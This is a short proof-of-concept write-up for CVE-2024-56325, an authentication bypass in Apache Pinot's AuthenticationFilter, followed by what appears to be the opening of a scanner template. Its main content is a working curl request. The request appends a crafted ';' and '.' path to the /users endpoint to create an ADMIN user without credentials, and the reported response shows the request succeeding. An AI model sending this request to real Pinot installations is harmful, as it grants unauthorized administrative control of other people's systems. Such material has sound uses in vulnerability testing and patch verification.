CVE-2024-56325 PoC — Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required

Title:Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required (CVE-2024-56325)
Description:Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.

This vulnerability allows remote attackers to bypass authentication on affected installations of Apache Pinot. Authentication is not required to exploit this vulnerability.The specific flaw exists within the AuthenticationFilter class. The issue results from insufficient neutralization of special characters in a URI. An attacker can leverage this vulnerability to bypass authentication on the system.

 id: CVE-2024-56325

info:
  name: Apache Pinot < 1.3.0 - Authentication Bypass
  author: iamnoooob,r

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